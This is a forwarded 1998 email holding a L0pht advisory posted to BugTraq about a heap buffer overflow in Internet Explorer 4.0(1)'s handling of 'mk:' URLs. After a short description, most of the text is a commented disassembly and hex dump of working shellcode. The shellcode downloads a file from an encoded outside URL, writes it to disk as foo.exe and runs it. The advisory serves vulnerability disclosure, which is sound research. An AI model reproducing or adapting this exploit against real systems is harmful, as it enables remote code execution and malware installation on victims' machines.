From: SMTP%"everhart@mail09.mitre.org" 22-JAN-1998 17:24:49.17
To: everhart@gce.com (everhart@gce.com)
CC:
Subj: FWD:
--===_tgate3_45091_96626879_===
Content-Type: text/plain; charset="us-ascii"
----- Forwarded message follows -----
Date: Mon, 19 Jan 98 14:30:02 -0500
X-Delivering-To: best-of-security@cyber.com.au
Xdelivering-To: best-of-security@cyber.com.au
Delivering-To: best-of-security@cyber.com.au
From: Smart List user <slist@cyber.com.au>
Tatus: O
X-Originally-To: To: BUGTRAQ@NETSPACE.ORG
X-Originated-From: From: DilDog <dildog@L0PHT.COM>
Apparently-To: <lkjones@mail09.mitre.org>, <everhart@mail09.mitre.org>
>From owner-bugtraq@NETSPACE.ORG Thu Jan 15 04:39:44 EDT 1998 remote from =
cheops
Received: from brimstone.netspace.org by postbox.anu.edu.au with ESMTP
(1.37.109.16/16.2) id AA281039580; Thu, 15 Jan 1998 04:39:40 +1100
Received: from unknown@netspace.org (port 19519 [128.148.157.6]) by brims=
tone.netspace.org with ESMTP id <70063-24759>; Wed, 14 Jan 1998 12:15:14 =
-0500
Received: from NETSPACE.ORG by NETSPACE.ORG (LISTSERV-TCP/IP release 1.8c=
) with
spool id 6768006 for BUGTRAQ@NETSPACE.ORG; Wed, 14 Jan 1998 12:=
13:17
-0500
Received: from brimstone.netspace.org (brimstone.netspace.org
[128.148.157.143]) by netspace.org (8.8.7/8.8.2) with ESMTP id
LAA14310 for <BUGTRAQ@NETSPACE.ORG>; Wed, 14 Jan 1998 11:58:41 =
-0500
Received: from unknown@netspace.org (port 19519 [128.148.157.6]) by
brimstone.netspace.org with ESMTP id <96943-18732>; Wed, 14 Jan=
1998
11:57:22 -0500
Approved-By: aleph1@UNDERGROUND.ORG
Received: from c0re.l0pht.com (c0re.l0pht.com [199.201.145.2]) by netspac=
e.org
(8.8.7/8.8.2) with ESMTP id LAA09877 for <bugtraq@netspace.org>=
; Wed,
14 Jan 1998 11:37:10 -0500
Received: from localhost (dildog@localhost) by c0re.l0pht.com (8.8.5/1.2.=
3)
with SMTP id LAA05002 for <bugtraq@netspace.org>; Wed, 14 Jan 1=
998
11:42:55 -0500 (EST)
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=3DUS-ASCII
Content-Transfer-Encoding: 8bit
X-Mime-Autoconverted: from QUOTED-PRINTABLE to 8bit by netspace.org id LA=
A09885
Message-Id: <Pine.BSI.3.96.980114114117.4986A-100000@c0re.l0pht.com>
Date: Wed, 14 Jan 1998 11:42:53 -0500
Reply-To: DilDog <dildog@L0PHT.COM>
Sender: avalon
From: DilDog <dildog@L0PHT.COM>
Subject: L0pht Advisory MSIE4.0(1)
To: BUGTRAQ@NETSPACE.ORG
Document: L0pht Security Advisory
URL Origin: http://l0pht.com/advisories.html
Release Date: January 14th, 1998
Application: Microsoft Internet Explorer 4.0(1) Suite
Severity: Viewing remote HTML content can execute arbitrary native=
code
Author: dildog@l0pht.com
Operating Sys: Windows 95 and Windows NT
-------------------------------------------------------------------------=
------
=3D=3D=3D=3D=3D=3D=3D=3D
Scenario
=3D=3D=3D=3D=3D=3D=3D=3D
TAKE TWO!
The Microsoft Internet Explorer 4.0(1) Suite, including all programs su=
pplied
with it that read and/or process HTML from either local machines, intra=
net
machines, or remote internet machines are subject to a buffer overflow =
in the
HTML decoding process. The buffer overflow can cause the application to=
page
fault, or in the worst case, execute arbitrary precompiled native code.=
Unlike the res:// bug, found a few months ago, this bug _does_ affect
Windows NT as well as Windows 95.
It has also been reported that this bug affects Internet Explorer 3.0 i=
f
you have Visual Studio (VC++/J++ etc) installed on your system. Though =
this
may be true, and if so, exploitable, there has not been exploit code wr=
itten
up for it.
Currently, sample exploit code has been written for:
Windows 95 OSR1 and OSR2 running IE4.0 or IE4.01
Systems known vulnerable:
Windows 95 OSR1, OSR2 running IE3.0x+Infoviewer, IE4.0, IE4.01
Windows NT Workstation/Server running IE4.0,IE4.01
=3D=3D=3D=3D=3D=3D=3D
Example
=3D=3D=3D=3D=3D=3D=3D
Much like the res:// overflow, this bug can be seen in action by clicki=
ng on
a link -or- having the browser auto-refresh to a URL with the executabl=
e
code in the url. Please look at the L0pht Advisory homepage for this bu=
g for
a detailed example of the problem.
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Technical Details
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
The problem here lies in the deciphering of the URL line format itself.=
The
base HTML library that is used by the Internet Explorer 4.0 Suite and t=
he
following programs are vulnerable:
- Outlook Express (both mail and news)
- Windows Explorer
- Internet Explorer (different than regular explorer, really)
This problem, because it stems from a programming flaw in the HTML deco=
ding
system, is unaffected by the Explorer "Security Zones" feature. In othe=
r
words, if you turn on the highest security level for the zone from wher=
e the
exploit HTML is being viewed, you are still vulnerable.
The critical problem here is a buffer overflow in the parsing of a part=
icular
new type of URL protocol. The "mk:" type of URL is meant to access
proprietary Microsoft 'InfoViewer Topics', as exhibited by the InfoView=
er of
Visual Studio, and the Help System of IE4.0(1).
For example, the URL for the Microsoft IE4.0 help system is:
mk:@MSITStore:C:\WINDOWS\Help\iexplore.chm::/iexplore_welcome.htm
The buffer overflow is not a standard stack overflow, but rather a _hea=
p_
overflow. This complicated coding exploits, but is, nonetheless, do-abl=
e.
=3D=3D=3D=3D=3D=3D=3D=3D
Solution
=3D=3D=3D=3D=3D=3D=3D=3D
Currently, there is no solution available for this flaw. You can't set =
any
Internet Explorer options to avoid it, and you are not protected by any=
level of zone security. Simply don't surf the web, read email or view
net news using Internet Explorer 4.0(1) until Microsoft puts up a hotfi=
x.
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Exploit Code
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Ok. This time, I'm going to assume you know something about stack overf=
lows
and writing generic buffer overflow scripts. If you're lost already, th=
en the
rest of this sure as hell ain't going to make any sense to you.
The exploit code overflows a buffer on the heap, overwriting a few crit=
ical
heap variables and, eventually leaving the EIP at a ridiculous point in=
the
middle of URLMON.DLL ready to crash, unless you, bold coder, know what =
to
stuff in those registers.
Turns out that when you overflow that heap buffer, you can stuff a valu=
e
right into EAX. This is important, because the critical code section th=
at you
reach looks like this:
(URLMON!.text+)
014F:702A365E 8B08 MOV ECX,[EAX]
014F:702A3660 50 PUSH EAX
014F:702A3661 FF5108 CALL [ECX+08]
(Incidentally, all the addresses here are for DLL's provided with IE4.0=
1
not IE4.0. The code is similar for IE4.0. Just different offsets. Onwar=
d.)
You need that CALL [ECX+08] to jump to something useful. The place wher=
e
it jumps is to a location in URLMON.DLL (or was it MSHTML.DLL, I forget=
=2E)
that has an instruction that looks like CALL ECX. To get the NULL bytes=
and
things in the right places involves a little finagling of the string us=
ing
%00, and the null-terminator of the URL. It's really fun. Trust me.
After that CALL ECX happens, your EIP points to a piece of code that is=
in your exploit space. Then, just jump to the beginning of the exploit =
code
and start having fun. I used CALL to save a byte. (Who cares about the =
stack
now anyway? You've already blown it to hell.)
Ok. Here's it. (Described in terms of IE4.01)
Commented disassembly: (starting at mk:@ivt:cDc/...)
> Skip over the jump tables
0057CC7C: 3BC0 cmp eax,eax
0057CC7E: 7468 je 00057CCE8
> blah blah blah
0057CC80: 90 nop
0057CC81: 90 nop
0057CC82: 90 nop
> Jump tables start here for WININET.DLL functions
> WinInet Function addresses:
>
> (dated 9/18/97) IE4.0 (dated 11/18/97) IE4.01
> InternetOpenA 0x702120B9 0x70211817
> InternetOpenUrlA 0x7021949F 0x70219345
> InternetCloseHandle 0x7020422B 0x7020422E
> InternetReadFile 0x7020E2DC 0x7020E3C4
0057CC83: BFE9E7DE8F mov edi,08FDEE7E9 (InternetOpe=
nA)
0057CC88: F7DF neg edi
0057CC8A: FFE7 jmp edi
0057CC8C: BFBB6CDE8F mov edi,08FDE6CBB (InternetOpe=
nUrlA)
0057CC91: F7DF neg edi
0057CC93: FFE7 jmp edi
0057CC95: BFD2BDDF8F mov edi,08FDFBDD2 (InternetClo=
seHandle)
0057CC9A: F7DF neg edi
0057CC9C: FFE7 jmp edi
0057CC9E: BF88C741E0 mov edi,0E041C788 (InternetRea=
dFile)
0057CCA3: D1EF shr edi,1
0057CCA5: FFE7 jmp edi
> End WININET Jump Table
0057CCA7: 90 nop
> Start Kernel Offset Table for Win95 OSR 2 (no bad characters/nulls/othe=
rwise!)
> Win95B Function addresses:
>
> WinExec (0xBFF9D330)
> _lopen (0xBFF773FB)
> _lclose (0xBFF98283)
> _lwrite (0xBFF9CDE8)
> _lcreat (0xBFF9CDBE)
> ExitProcess (0xBFF8AECD)
> GlobalAlloc (0xBFF74904)
0057CCA8: 30 D3 F9 BF-FB 73 F7 BF-83 82 F9 BF-E8 CD F9 BF
0057CCB8: BE CD F9 BF-CD AE F8 BF-04 49 F7 BF-
> Start Kernel Offset Table for Win95 OSR 1 (no bad ones here either!)
> Win95A Function addresses:
>
> WinExec (0xBFF9D330)
> _lopen (0xBFF773FB)
> _lclose (0xBFF98283)
> _lwrite (0xBFF9CDE8)
> _lcreat (0xBFF9CDBE)
> ExitProcess (0xBFF8AECD)
> GlobalAlloc (0xBFF74904)
0057CCC4: F8 CF F9 BF-B7 72 F7 BF-CF 80 F9 BF-B0 CA F9 BF
0057CCD4: 86 CA F9 BF-B0 AF F8 BF-04 49 F7 BF-
> blah blah blah
0057CCE4: 90 nop
0057CCE5: 90 nop
0057CCE6: 90 nop
0057CCE7: 90 nop
0057CCE8: 90 nop
> check windows kernel version by querying random byte that happens to
> be different in the two versions. Also, set up ESI to be a pointer to
> the kernel offset table for the correct version.
0057CCE9: BB8BFFF7BF mov ebx,0BFF7FF8B
0057CCEE: 2AFF sub bh,bh
0057CCF0: 8BF5 mov esi,ebp
0057CCF2: B032 mov al,032
0057CCF4: 3803 cmp [ebx],al
0057CCF6: 750E jne 00057CD06
0057CCF8: 33C0 xor eax,eax
0057CCFA: B05F mov al,05F
0057CCFC: 90 nop
0057CCFD: 03F0 add esi,eax
0057CCFF: 720E jb 00057CD0F
0057CD01: 90 nop
0057CD02: 90 nop
0057CD03: 90 nop
0057CD04: 90 nop
0057CD05: 90 nop
0057CD06: 33C0 xor eax,eax
0057CD08: B07B mov al,07B
0057CD0A: 90 nop
0057CD0B: 03F0 add esi,eax
0057CD0D: 90 nop
0057CD0E: 90 nop
0057CD0F: 90 nop
> ESI is now a pointer to the first function the the appropriate kernel
> offset table. Now, we need to decode our 'data segment'. Do so, by XOR'=
ing
> (ADD'ing) each byte of the data area with 0x80. This prevents people fr=
om
> seeing what we're doing, as well as keeping out null characters and bad=
> stuff in the exploit string.
0057CD10: 33C9 xor ecx,ecx
0057CD12: 66B95D01 mov cx,0015D
0057CD16: 03CD add ecx,ebp
0057CD18: B238 mov dl,038 ;"8"
0057CD1A: 800180 add b,[ecx],080 ;"=C7
0057CD1D: 41 inc ecx
0057CD1E: 4A dec edx
0057CD1F: 75F9 jne 00057CD1A ----
0057CD21: 90 nop
0057CD22: 90 nop
> It becomes clear where we're going :)
> Let's allocate some memory. 65535 bytes to be precise.
0057CD23: 66BAFFFF mov dx,0FFFF ;"__"
0057CD27: 52 push edx
0057CD28: 33D2 xor edx,edx
0057CD2A: 52 push edx
0057CD2B: FF5618 call d,[esi][00018]
0057CD2E: 8BD8 mov ebx,eax
> Ok. Now we go ahead and call InternetOpenA and keep that Internet handl=
e
> in EAX. Why do I call this function twice? I don't know. I was debuggin=
g
> and I never took it out. NOP it if you want. I don't care.
0057CD30: 33D2 xor edx,edx
0057CD32: 52 push edx
0057CD33: 52 push edx
0057CD34: 52 push edx
0057CD35: 52 push edx
0057CD36: 90 nop
0057CD37: 6681C25D01 add dx,0015D
0057CD3C: 03D5 add edx,ebp
0057CD3E: 52 push edx
0057CD3F: E83FFFFFFF call 00057CC83
0057CD44: E83AFFFFFF call 00057CC83
> Now we call InternetOpenUrlA, getting us ready to download a file from
> the net into that buffer we allocated
0057CD49: 33D2 xor edx,edx
0057CD4B: 52 push edx
0057CD4C: 52 push edx
0057CD4D: 6AFF push 0FF
0057CD4F: 52 push edx
0057CD50: 6681C26501 add dx,00165
0057CD55: 03D5 add edx,ebp
0057CD57: 52 push edx
0057CD58: 50 push eax
0057CD59: E82EFFFFFF call 00057CC8C
> We then go ahead and call InternetReadFile, downloading 65535 bytes fro=
m the
> net and into the buffer.
0057CD5E: 8BD5 mov edx,ebp
0057CD60: 83C230 add edx,030
0057CD63: 90 nop
0057CD64: 90 nop
0057CD65: 52 push edx
0057CD66: 2BC9 sub ecx,ecx
0057CD68: 6649 dec cx
0057CD6A: 51 push ecx
0057CD6B: 53 push ebx
0057CD6C: 50 push eax
0057CD6D: E82CFFFFFF call 00057CC9E
> Call _lcreat, and make us a place to store what we downloaded.
0057CD72: 33D2 xor edx,edx
0057CD74: 52 push edx
0057CD75: 6681C25D01 add dx,0015D
0057CD7A: 03D5 add edx,ebp
0057CD7C: 52 push edx
0057CD7D: FF5610 call d,[esi][00010]
> ok, call _lwrite and write the buffer to the file.
0057CD80: 8BD5 mov edx,ebp
0057CD82: 83C230 add edx,030 ;"0"
0057CD85: 8B12 mov edx,[edx]
0057CD87: 52 push edx
0057CD88: 53 push ebx
0057CD89: 50 push eax
0057CD8A: 8BD8 mov ebx,eax
0057CD8C: FF560C call d,[esi][0000C]
> Close the file with _lclose.
0057CD8F: 53 push ebx
0057CD90: FF5608 call d,[esi][00008]
> Now run what we downloaded by calling WinExec!
0057CD93: 33D2 xor edx,edx
0057CD95: 42 inc edx
0057CD96: 52 push edx
0057CD97: 6681C25C01 add dx,0015C
0057CD9C: 03D5 add edx,ebp
0057CD9E: 52 push edx
0057CD9F: FF16 call d,[esi]
> And go ahead and kill the Internet Explorer process. It's pretty
> bung'd out by now, and if we don't kill it, it will kill itself :)
0057CDA1: FF5614 call d,[esi][00014]
> The rest of this is left as an exercise to the reader, and is really on=
ly
> worth about 5 minutes of staring at. (Though it took about 5 or so hour=
s to
> come up with!) Basically, you just gotta play around with your debugger=
> and work those registers. Be clever, and you'll get something like this=
:
0057CD98: - - -2D 2D E6 EF
0057CDA8: EF AE E5 F8-E5 80 E8 F4-F4 F0 BA AF-AF F7 F7 F7
0057CDB8: AE EC B0 F0-E8 F4 AE E3-EF ED AF FE-E4 E9 EC E4
0057CDC8: EF E7 AF E9-E5 B4 DF ED-EB AF E6 EF-EF AE E5 F8
0057CDD8: E5 80 AD AD-AD AD AD AD-F3 9A 57 25-30 30 2D 2D
0057CDE8: 2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D
0057CDF8: 2D 2D 2D 2D-2D 2D 2D 2D-2D 2D 2D 2D-2D 24 25 26
0057CE08: 27 28 29 2A-2B 2C 2D 2E-2F 30 31 32-33 34 35 36
0057CE18: 37 38 39 3A-3B 3C 3D 3E-3F 40 80 81-82 83 84 85
0057CE28: 86 87 88 E9-E8 4B FE FF-FF C0 74 F7-8A 2F 27 70
0057CE38: DB CD 57 22-3E 0D 0A 57-68 65 6E 20-79 6F 75 27
0057CE48: 72 65 20 72-65 61 64 79-2C 20 63 6C-69 63 6B 20
0057CE58: 68 65 72 65-2E 0D 0A 3C-2F 61 3E 0D-0A 3C 2F 63
0057CE68: 65 6E 74 65-72 3E 0D 0A-3C 2F 62 6F-64 79 3E 0D
0057CE78: 0A 3C 2F 68-74 6D 6C 3E-0D 0A 0D 0A-0D 0A 0D 0A
0057CE88: 0D 0A - - -
> Phew!
Anyway. The short and long of all that disassembly is this:
1. It downloads a <64K file from the internet (any URL)
Using the current firewall and proxy settings...
2. It saves it as "foo.exe" on your desktop (probably)
3. It runs the executable.
4. To see which URL it is downloading, just XOR the tail end of t=
he
exploit string with 0x80's.
Hope you caught all that.
------------------------------
A haiku:
Strike two for I.E.
Common buffer overflows
Is that all of them?
dildog@l0pht.com (01/13/97)
-------------------------------------------------------------------------=
------
For more L0pht (that's L - zero - P - H - T) advisories check out:
http://l0pht.com/advisories.html
----- End of forwarded message -----
--===_tgate3_45091_96626879_===--
================== RFC 822 Headers ==================
Return-Path: everhart@mail09.mitre.org
Received: by norlmn.gce.com (UCX X4.2-14, OpenVMS E7.1-1H1 Alpha);
Thu, 22 Jan 1998 17:16:27 -0500
Received: from mbunix.mitre.org (mbunix.mitre.org [129.83.20.100]) by mercury.mv.net (8.8.8/mem-971025) with ESMTP id IAA29029 for <everhart@gce.com>; Thu, 22 Jan 1998 08:44:29 -0500 (EST)
Received: from TGATE3 (tgate3.mitre.org [129.83.20.27])
by mbunix.mitre.org (8.8.8/8.8.8/mitre.0) with ESMTP id IAA06873
for <everhart@gce.com>; Thu, 22 Jan 1998 08:48:08 -0500 (EST)
Received: from mail09.mitre.org (unverified [129.83.20.43]) by tgate3.mitre.org (EMWAC SMTPRS 0.83) with SMTP id <B0005765847@tgate3.mitre.org>; Thu, 22 Jan 1998 08:47:55 -0500
Received: by mail09.mitre.org; (5.65v3.2/1.1.8.2/22Jun94-0628PM) id AA16938; Thu, 22 Jan 1998 08:47:50 -0500
Subject: FWD:
From: everhart@mail09.mitre.org (Glenn C. Everhart)
To: everhart@gce.com (everhart@gce.com)
Message-Id: <980122084749.31233@mail09.mitre.org.0>
Date: Thu, 22 Jan 98 08:47:50 -0500
X-Mailer: MailWorks 2.0-4
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===_tgate3_45091_96626879_==="